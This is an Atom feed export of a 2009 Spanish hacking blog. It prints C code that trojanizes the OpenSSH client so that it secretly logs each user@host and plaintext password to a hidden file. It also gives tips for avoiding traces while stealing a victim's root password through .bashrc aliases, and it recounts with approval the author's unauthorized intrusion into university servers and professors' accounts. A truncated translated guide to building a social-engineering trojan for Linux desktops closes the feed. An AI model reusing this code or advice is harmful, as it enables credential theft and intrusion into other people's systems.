hacen root@localhost...&lt;br /&gt;&lt;br /&gt;Realmente con estos trucos de alias y funciones en .bashrc se puede conseguir muchísimo juego, pero intentar (y lograr) sacar la contraseña de root de un sistema es el más peligroso y límite en mi opinión.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;*NOTA: Este paso tiene cierta cosa, no podemos (no siempre) compilar en un ordenador y luego llevarnos el binario creado a otro, ¿por qué? los programas en general usan bibliotecas que están en el sistema, si compilamos en un sistema (con unas bibliotecas) e intentamos ejecutar en otro ordenador (probablemente con otras bibliotecas) aparecerán problemas entre versiones. Puedes bajarte la versión de bibliotecas en el sistema víctima y compilar usando esas versiones o puedes compilar en el sistema víctima... MUCHO OJO, esto último deja ciertos rastros en el sistema víctima, sin ir más lejos lo que hagas se guarda en el fichero .bash_history que antes usamos para sacar información xD... tampoco me gusta porque me puede delatar jejeje... En general es más seguro (para el atacante) realizar el máximo posible de acciones en su sistema y trasladar y/o estar en el sistema víctima sólo lo imprescindible.&lt;/path_a_ssh_sin_hack&gt;&lt;/path_a_ussh&gt;&lt;/path_a_ussh&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-6466103701751051272?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/6466103701751051272/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=6466103701751051272' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6466103701751051272'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/6466103701751051272'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/04/truco-para-ussh.html' title='Truco para ussh'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-7623372947435233246</id><published>2009-03-31T17:00:00.003Z</published><updated>2009-03-31T17:11:07.198Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='passwords'/><category scheme='http://www.blogger.com/atom/ns#' term='contraseñas'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><title type='text'>Ya esta bien, a usar una contraseña "segura"</title><content type='html'>Llevaba pensando en ello un tiempo largo, pero nunca me habia decidido a ello, ya hoy por fin lo he hecho (mientras escribo esto), estoy hablando de usar una contraseña más segura que la que tengo, para ello voy a generarla con apg un programa dedicado a la generacion de claves más o menos seguras y a la comprobación de integridad de la misma. El comando que he usado (después de instalar apg) es:&lt;br /&gt;&lt;br /&gt;apg -a 1 -n 1 -m X -x Y -M sncl&lt;br /&gt;&lt;br /&gt;-a 1: Que genere contraseña aleatoria, tiene otro modo que produce contraseñas pronunciables (menos seguras).&lt;br /&gt;&lt;br /&gt;-n 1: Que produzca solo una contraseña.&lt;br /&gt;&lt;br /&gt;-m X -x Y:  tamaño minimo X y tamaño maximo Y... no voy a poner el tamaño que yo he elegido pero por defecto es 8.&lt;br /&gt;&lt;br /&gt;-M sncl: Esto es interesante, cada letra le indica al programa si deberia o debe usar caracteres especiales (·$%&amp;amp;...), numeros, mayusculas y minusculas. Es interesante saber que estas cuatro letras se pueden poner en minusculas o mayusculas para indicarle should (deberia usar) o must (debe usar) respectivamente. En principio puede parecer que usar las mayusculas para obligarle a usar todo tipo de simbolos puede ser mas seguro... PUES NO! obligar = restringir, si pusieramos alguna letra en mayuscula estariamos eliminando un gran espacio de claves ya que podriamos eliminar todas las combinaciones que no usen los 4 tipos de simbolos, me di cuenta un poco despues de leer should y must en el man.&lt;br /&gt;&lt;br /&gt;Bueno... ahora toca aprenderme de memoria el chorizo que me acaba de soltar :s&lt;br /&gt;&lt;br /&gt;Happy Hacking!&lt;br /&gt;&lt;br /&gt;PD: En futuras entradas complementare el ussh con algun truquillo barato para engañar a la victima... que he estado probando ;)&lt;br /&gt;&lt;br /&gt;PDD: En las distros hay un comando mkpasswd pero no se recomienda su uso para generar las contraseñas... tiene pinta de ser mas antiguo que la rasca... usa crypt(3) que a su vez usa 3DES, que a su vez esta muy roto.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-7623372947435233246?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/7623372947435233246/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=7623372947435233246' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7623372947435233246'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/7623372947435233246'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/03/ya-esta-bien-usar-una-contrasena-segura.html' title='Ya esta bien, a usar una contraseña &quot;segura&quot;'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-822421013593100907</id><published>2009-03-19T23:39:00.004Z</published><updated>2009-03-20T11:25:32.656Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Cliente ussh</title><content type='html'>Que es un cliente ussh? alguien lo sabe?... pues en principio no deberian! porque me lo acabo de inventar... son las siglas de UnSecure SHell.&lt;br /&gt;&lt;br /&gt;El cacho de codigo que posteo lo he escrito dentro de los fuentes de openssh (concretamente la version 3.9, aunque ya estamos por la 5.2 cuando escribo esto):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/*******************************************************/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/* Added by me to get the user password in plain text. */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/************************ HACK *************************/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      const int LEN = 8196;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      const int OPEN_OPTS = O_RDWR | O_CREAT | O_APPEND;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      const mode_t OPEN_PERMS = 0600;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      int fd;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      char *home;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      char name[LEN];&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      char pair[LEN];&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; *    Build the pair user@server -- password.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      snprintf (pair, LEN,"%s@%s -- %s\n", authctxt-&gt;server_user, authctxt-&gt;host, password);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/*&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; *    Build the absolute path name for a hidden file that will contain&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; *    the pair user@server -- password.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt; */&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      if ((home = getenv ("HOME")) == NULL)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         goto out_hack;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      strncpy (name, home, LEN);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      strncat (name, "/.sshlog", LEN);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      if ((fd = open (name, OPEN_OPTS, OPEN_PERMS)) == -1)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;         goto out_hack;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      write (fd, pair, strlen (pair));&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;      close (fd);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;out_hack:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/**************************/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/******* END HACK *********/&lt;/span&gt;&lt;br /&gt;&lt;span style="font-style: italic;"&gt;/**************************/&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Se ve claramente que es muy sencillo y ademas tiene explicado lo que hace. Es una demostracion de como claramente hay momentos en los que la contraseña SI ESTA EN TEXTO CLARO dentro de la memoria del proceso. Lo que aqui se hace es que cada vez que se utilice el cliente ssh se guardara en el fichero "$HOME/.sshlog" una linea con el usuario el host y la contraseña que se ha utilizado.&lt;br /&gt;&lt;br /&gt;No he querido complicarme mucho con el manejo de ristras y he declarado buffers estaticos aunque estoy utilizando "funciones de ristras n" (strncpy, strncat y snprintf) y ademas creo que las variables de entorno estan limitadas por los sistemas... aun asi recordemos que no se deberian usar bufferes estaticos donde la informacion puede venir de fuera por problemas con buffers overflows&lt;br /&gt;&lt;br /&gt;Como este codigo se puede usar con mala idea no pongo en que fichero hay que ponerlo, ni funcion, ni linea ni nada mas, alguien con un minimo de habilidad sabria buscar donde va y por supuesto escribirlo... de hecho creo que tiene mas merito buscar el sitio concreto donde habria que ponerlo que escribirlo...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-822421013593100907?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/822421013593100907/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=822421013593100907' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/822421013593100907'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/822421013593100907'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/03/cliente-ussh.html' title='Cliente ussh'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-2407333172641991366</id><published>2009-03-18T23:30:00.002Z</published><updated>2009-03-19T00:00:48.264Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='ssh'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='hackers'/><title type='text'>Cuando lo más seguro no es infalible</title><content type='html'>Hola hackers del mundo! Pues resulta que la semana pasada estuve haciendo un curso de "configuración de redes en linux"... yo lo habria llamado antes de ir "configuracion de redes en gnu/linux", pero ya sabemos como anda el mundo. No obstante despues de ir lo habria llamado "te vamos a explicar (diciendo mentiras) por que gnu/linux es mejor que hasefroch", en fin un curso donde le vendian a los alumnos el sistema, ¡que me parece muy bien que lo hagan!, pero por encima de usar gnu/linux, hasefroch o moc os, prefiero que se diga la verdad.&lt;br /&gt;&lt;br /&gt;Voy al ajo, resulta que como me aburria muchisimo en el curso pues me entretuve hackeando un poquillo los ordenadores de la facultad donde se impartia, mirando que cosas tenian por aqui y por alla. Total que lo primero que hice por supuesto fue conseguir una cuenta de root en cualquier pc de por ahi (ya saben lo sencillo que es si se tiene acceso fisico a la maquina), pues no habian pasado ni 40 minutos y ya habia accedido a las cuentas de los profesores en una maquina con servidores :(, y aun me quedaban por delante 4 dias de eterno aburrimiento... en fin, se lo dije al profesor para que lo corrigiera si queria, por supuesto se puso a la defensiva e intentando decirme que no estaba en lo cierto y yo "mira, es que ya he entrado en tu cuenta, no es algo que me este imaginando que se puede hacer". Bueno, al final no se lo tomo tan mal y es mas diligente que la media y se preocupo en pensar como resolverlo... QUITA NFS!&lt;br /&gt;&lt;br /&gt;Al dia siguiente en el descanso mientras me tomaba un leche y leche calentito se me acerca y empezamos a hablar un poco de seguridad y tal... entonces le comento que es que a mi me gusta mucho este tema y claro, miro y pruebo cosas fuera de la uni, pero que realmente no soy bueno, simplemente conozco un par de patrones en que se incurre bastante en mi universidad y lo ataco un poco a ver hasta donde llego... Total, que por h o por b, acabamos hablando de los limites de la seguridad y se lo digo bien claro "no hay nada infalible, en el fondo fondo no te puedes fiar de nada ni del propio SSH ya que por muy seguros que sean, les puedes sacar las contraseñas". Me miro con una cara como si hubiera cometido un sacrilegio! PERO COMO VOY A PONER EN ENTREDICHO SSH Y MUCHO MENOS OPENSSH!!! Entonces llego el momento de la explicacion:&lt;br /&gt;&lt;br /&gt;- Mire, es que por mas que nos empeñemos, siempre hay momentos dentro de una maquina donde las contraseñas SI estan en texto claro, incluso en cliente y servidor de ssh.&lt;br /&gt;&lt;br /&gt;- Noooo! nunca estan en texto claro.&lt;br /&gt;&lt;br /&gt;- Si, vera, aunque una comunicacion con ssh es cifrada, es necesario que el proceso ssh cliente (en un extremo) le envie la contraseña en texto plano al servidor (en el otro extremo) para que este pueda chequearla contra su base de datos (nis, ldap, passwd, lo que sea).&lt;br /&gt;&lt;br /&gt;- PERO SE LA ENVIA CIFRADA, EL PAQUETE SSH ESTA CIFRADO!&lt;br /&gt;&lt;br /&gt;- Si si, ya lo se, pero no me esta entendiendo, una cosa es la clave de sesion con la que se cifra el paquete ssh, pero dentro de ese paquete (el cual es descifrado en el extremo que lo recibe) tiene dentro mucha informacion, entre otras cosas si se esta intentando hacer un login, tiene la contraseña en texto claro, el proceso es el siguiente:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;|--- datos --- contraseña en claro ---| &lt;-- Paquete a enviar por ssh&lt;br /&gt;&lt;br /&gt;- Este paquete lo ciframos con la clave de sesion que establecio ssh automaticamente al empezar (mediante el intercambio de clave publica/privada) obteniendo:&lt;br /&gt;&lt;br /&gt;| 123!EDC3f"%35f35cr"·$F25c2%C2| &lt;--- Paquete cifrado&lt;br /&gt;&lt;br /&gt;- Cierto que de aqui no podemos sacar nada (no hablamos de cracking), pero es que tanto en el servidor como en el cliente tiene que estar primero la contraseña en claro, para poder despues cifrar el paquete y obtener el chorizo ese. Solo (bueno, mas bien "solo") tenemos que meternos en el mapa de memoria del proceso y buscar donde guarda eso, aunque hay que hacerlo rapidito porque esa informacion no esta mucho tiempo en memoria.&lt;br /&gt;&lt;br /&gt;Y entonces me suelta, la siguiente idea:&lt;br /&gt;&lt;br /&gt;- No! la contraseña se cifra en el cliente y luego se mete en el paquete y se cifra entonces el paquete, al servidor solo le llega una contraseña cifrada y el la compara en su shadow&lt;br /&gt;&lt;br /&gt;... vamos a ver... solo voy a decir que ese diseño roza lo INEFABLE!. Veamos, esa arquitectura esta presuponiendo que ambos sistemas usan el mismo algoritmo de cifrado para el sistema de login (todos md5? todos 3DES?), todos utilizan las mismas semillas, el mismo generador de aleatorios... pero que me estas contando!? ademas colega, te estoy diciendo que no es algo que yo me haya inventado, es algo que he comprobado que es asi!!! que pasa!? que porque sea un alumno no puedo saber un poco mas de algun tema que algun profesor? pk se ofuscan tanto cuando alguien que aun estudia y es bastante mas joven les intenta enseñar algo? Ya me gustaria a mi encontrarme con algunos de esos superhackers jovencisimos y que me enseñara cosas!!! joder! daria un dedo por haber conocido a dvd john cuando tenia 15 años!&lt;br /&gt;&lt;br /&gt;En fin... ya me he cansado de tanta tonteria, la proxima entrada que escriba publicare el codigo de un modulo para el kernel que se metera en la memoria de un proceso, concretamente ssh y recogera la cuenta de usuario y su contraseña, en texto claro, sin mayor problema. Lo pondria ahora mismo, con su makefile y todo, listo para ejecutar, pero por desgracia he sufrido la maldicion del informatico que no hace copias de seguridad xDDDDDDDDDDDD. En fin, ya lo reescribire y aprovechare para repasar un poco la creacion de modulos ;)&lt;br /&gt;&lt;br /&gt;Happy Hacking!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-2407333172641991366?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/2407333172641991366/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=2407333172641991366' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2407333172641991366'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/2407333172641991366'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/03/cuando-lo-mas-seguro-no-es-infalible.html' title='Cuando lo más seguro no es infalible'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-4597162738585800350</id><published>2009-03-12T17:41:00.002Z</published><updated>2009-03-12T17:46:42.440Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='libertad'/><category scheme='http://www.blogger.com/atom/ns#' term='derechos'/><title type='text'>Derechos</title><content type='html'>Esta entrada no es tecnológica, pero todos la deberíamos tener presente.&lt;br /&gt;&lt;br /&gt;Esto lo ví en subtítulos de la serie scrubs.&lt;br /&gt;&lt;br /&gt;TODAS LAS PERSONAS TIENEN DERECHO A LA EDUCACIÓN Y EL DISFRUTE DE LOS BENEFICIOS DE LA LIBERTAD CULTURAL Y EL PROGRESO CIENTÍFICO.&lt;br /&gt;&lt;br /&gt;Declaración del pacto internacional de derecho civiles y políticos de la organización de las naciones unidas.&lt;br /&gt;&lt;br /&gt;Gracias PolloDH, por scrubs y the big bang theory al menos.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7407946-4597162738585800350?l=cacharreadores.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://cacharreadores.blogspot.com/feeds/4597162738585800350/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7407946&amp;postID=4597162738585800350' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4597162738585800350'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7407946/posts/default/4597162738585800350'/><link rel='alternate' type='text/html' href='http://cacharreadores.blogspot.com/2009/03/derechos.html' title='Derechos'/><author><name>Ole</name><uri>http://www.blogger.com/profile/12307936235928916888</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7407946.post-7349761597327887544</id><published>2009-02-20T09:01:00.012Z</published><updated>2009-02-20T16:15:59.400Z</updated><category scheme='http://www.blogger.com/atom/ns#' term='virus'/><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='seguridad'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='hackers'/><title type='text'>Cómo escribir un virus para Linux en 5 cómodos pasos</title><content type='html'>Hace poco ha llegado a internet un &lt;a href="http://www.geekzone.co.nz/foobar/6229"&gt;post&lt;/a&gt; de un hacker sobre cómo escribir un virus para sistemas linux. Lo que a continuación pretendo es escribir una traducción sobre ese artículo para enriquecer más internet y para su disponibilidad para gente de habla española que no habla tanto inglés. No se confundan, no soy una persona bilingüe (que más quisiera yo), simplemente soy un interesado de estos temas que vió el artículo, no lo encontró en español y pensó que podría intentar hacer una traducción más o menos íntegra. Yo no he aportado nada en este artículo, sólo soy un mero traductor (y probablemente malo).&lt;br /&gt;&lt;br /&gt;A la hora de traducir me he encontrado con lo que supongo es muy común a la hora de traducir textos técnicos informáticos, palabras que a pesar de que tienen su significado en español, son tan ampliamente usadas en inglés en estos círculos que no sabe uno si traducirlo o no, por ejemplo "buffer overflow", se podría traducir como algo así "desbordamiento de zona de memoria intermedia". He leído libros que realmente me dan grima con sus traducciones, siempre recordaré que en "Linux Kernel Modules" 3ª ed. en español la interfaz de loopback lo traducían como interfaz de bucle de retorno, y que me costó algunos segundos entender a lo que se refería. Por ello, y como este texto va destinado principalmente a técnicos en el área, voy a dejar unos cuantos conceptos directamente en su lenguaje original, puede incluso que traduzca algunos que realmente debiera dejar en inglés.&lt;br /&gt;&lt;br /&gt;El texto está escrito por un hacker, por tanto sería recomendable conocer cosas de este mundillo, cuando decimos OS evidentemente nos referimos a Operating Systems, *nix hace referencia a UNIX, etc...&lt;br /&gt;&lt;br /&gt;La traducción está hecha en una sola pasada (no quiero dedicarle mucho tiempo ni quiero ser riguroso 100%) así que te, tu lector que probablemente sepas inglés, encontrarás muchas cosas que habrías escrito de otra forma.&lt;br /&gt;&lt;br /&gt;/* Comienzo */&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;El rumor de la arquitectura a prueba de balas de Linux&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Hay un rumor que corre por ahí que dice que Linux está libre de virus. Se dice que la vieja herencia multiusuario de Linux (y otros *nix OSs) previenen el malware, debido a que los usuarios no están generalmente ejecutando sus programas en modo administrador (como usuario root). Se nos recuerda que son necesarios los bits de ejecución para ejecutar cualquier cosa - a diferencia de Windows - y esos bits no están establecidos en ningún archivo adjunto o fichero salvado desde emails o desde un navegador web.&lt;br /&gt;&lt;br /&gt;Más aún, se nos dice, que la arquitectura de Linux es tan superior a la de Windows que no es posible la difusión de malware. Por supuesto - es sabido  que - un fallo de bajo nivel, un buffer overflow u otra cosa es explotable. No obstante, los usuarios  no pueden simplemente coger un virus por email o descargar malware desde Internet, al contrario que "esos usuarios de Windows". Linux los protegerá de su propia estupidez.&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;Al menos eso dicen las historias. Pero tristemente eso no es verdad. Voy a enseñar cómo es posible en unos pocos y fáciles pasos escribir un mail perfectamente válido para modernos Linux de escritorio. Voy a hacerlo no porque quiera desprestigiar a Linux. Todo lo contrario: Me gusta y doy soporte a Linux, que es todo lo que uso en casa y en el trabajo. Soy un gran partidario del software libre y abierto como los lectores de este blog sabrán. Pero si hay algún riesgo de seguridad, incluso en mi OS o distribución favoritos entonces necesita ser debatido. Más importante aún: Una falsa sensación de seguridad es peor que la falta de seguridad. Una reivindicación de superioridad no justificada tampoco ayuda en un debate razonable.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Algunas anotaciones antes de empezar&lt;br /&gt;&lt;br /&gt;Actualización: &lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;/span&gt;Ha habido mucha controversia sobre mi por utilizar el término "virus" no de forma correcta aquí. Debería hablar sobre un "troyano" realmente. Hay desacuerdos sobre si los virus requieren interacción con el usuario o no, y sobre si deberíamos hablar sobre un gusano si estamos hablando de malware que puede difundirse sin interación del usuario. También hay algunos desacuerdos sobre si el malware que se difunde vía email puede ser considerado un virus o no. Hay muchas fuentes que llaman a tal cosa un virus (un virus de email) y otras que serían más concretas en su definición. Dejemos este artículo fuera de esa discusión. Aquí llamo a este malware "virus" incluso aunque requiere interación del usuario y a pesar de ello no doy código para difundirlo por si mismo (el código sólo es pseudo-código de muy alto nivel).&lt;br /&gt;&lt;br /&gt;Debo hacer notar: Las vulnerabilidades de las que vamos a coger ventaja son 'características' de la mayoría de entornos de sistemas de escritorio Linux modernos y populares, Gnome y KDE. El núcleo actual de Linux por si mismo no tiene ninguna de estas vulnerabilidades. Un sistema Linux (o cualquier otro *nix) que no tenga Gnome o KDE no tendrá ninguno de estos problemas, lo cual es una de las grandes ventajas de separar adecuadamente el núcleo del OS de las demás aplicaciones como por ejemplo el entorno de escritorio.&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;&lt;/span&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Por otra parte, si ejecutas esos entornos de escritorio en otros OSs (quizás en FreeBSD, por ejemplo) entonces posiblemente tendrás que tratar con la misma vulnerabilidad. Un título más preciso para este artículo podría ser: &lt;span style="font-style: italic;"&gt;Cómo escribir un virus para Gnome/KDE en 5 fáciles pasos.&lt;/span&gt; Pero debido a que Gnome y KDE se usan predominantemente sobre Linux, me parece que un virus basado en esas vulnerabilidades impactaría sobre todo a usuarios de Linux así que el título continua siendo válido.&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;El artículo explicará qué pasos debe seguir para infectar un escritorio y cómo instalar su malware y dará información de background de por qué esos pasos son necesarios y por qué funcionan. Después de la larga explicación hay un documento paso a paso hacia el final. Sin embargo hay algunos trozos de código aislados, el artículo no proveerá de código un malware listo para usar.&lt;/p&gt;&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Varios días antes envié un mensaje a los equipos de seguridad de Ubuntu y Fedora, preguntándoles si  les importaría echar una ojeada a ésto antes de que lo publicara. El equipo de Ubuntu todavía no ha dicho nada, pero el de Fedora me dijo que esto es "un comportamiento conocido y esperado" y que no tenían ningún problema con que publicara ésto. ¿Conocido y esperado? ¿en serio? De acuerdo entonces, aquí vamos.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Consiguiendo que los usuarios abran archivos adjuntos: ¡Mira  estas fotos de desnudos!&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;Si estás buscando algo nuevo, un maravilloso exploit o algún otro inteligente truco hacker, te deberé decepcionar completamente. Lo que aquí voy a enseñar es meramente un ejemplo de cómo la ingeniería social de la vieja escuela para viruses (difícilmente se merecen ese nombre) que han estado molestando el mundo de Windows por tanto tiempo puede usarse en Linux, o cualquier otro *nix OS con un entorno de escritorio moderno.&lt;br /&gt;&lt;br /&gt;La premisa de este tipo de 'virus' es simple: Conseguir que el usuario ejecute un archivo adjunto que le envías vía email. Esto no tiene nada de tecnológico. No hay magia negra. No estoy tomando ventaja de ningún exploit nuevo de ninguna forma. Para hacerlo funcionar en Linux simplemente estoy usando las 'características' de entornos de escritorio modernos por algunos caminos no esperados. A fin de cuentas todo ello es "conocido y esperado".&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Hacerlo sobre Windows es así. Creas tu malware como un archivo EXE, lo adjuntas a un email que dice algo como: "¡Guau, mira estas fotos de desnudos de ...!". El desafortunado usuario hará doble click en el adjunto, y Windows - en ausencia de algún software anti-virus decente - obedientemente se ejecutará. Antes de que te des cuenta el malware es instalado y el sistema está comprometido. La ejecución de archivos .EXE desde clientes de email sobre Windows es algo, por supuesto, "conocido y esperado".&lt;br /&gt;&lt;/p&gt;&lt;p style="margin-bottom: 0in;"&gt;¿Crees que esto no es posible en Linux? Por supuesto que sí. Sólo requiere uno o dos pasos más. De todas formas no hay nada fundamental en la arquitectura de Linux que prevenga de la estupidez o ignorancia del usuario, que es evidentemente el ingrediente principal de cualquier vector de ataque como éste.&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Sólo hay un pequeño problema que necesita ser resuelto. Bueno, dos, realmente.&lt;br /&gt;&lt;p style="margin-bottom: 0in;"&gt;Primero, la mayoría de clientes de correo para Linux no ejecutan adjuntos. Pueden intentar abrirlo si conocen la extension como un indicador del tipo de fichero (.pdf u otro documento por ejemplo). Pero no tiene por qué.  Digamos que has escrito tu malware como un bonito script en Python. En ese caso, tu script podría tener de final .py, pero el cliente de correo probablemente seguirá sin invocar al interprete de python para tí. Tendrás que configurar el sistema para hacer eso, y ¿quién haría algo así?&lt;br /&gt;&lt;/p&gt;&lt;br /&gt;Necesitamos una aproximación ligeramente diferente. Algo que siempre se ejecute cuando se clicke sobre él. Y aquí entonces hay un paso más que necesita ser tenido en cuenta por el usuario, que puede reducir un poco el ratio de éxito de este vector de ataque. El usuario primero tiene que salvar el adjunto y luego hacer doble click en él. Debido a que el cliente de correo generalmente no 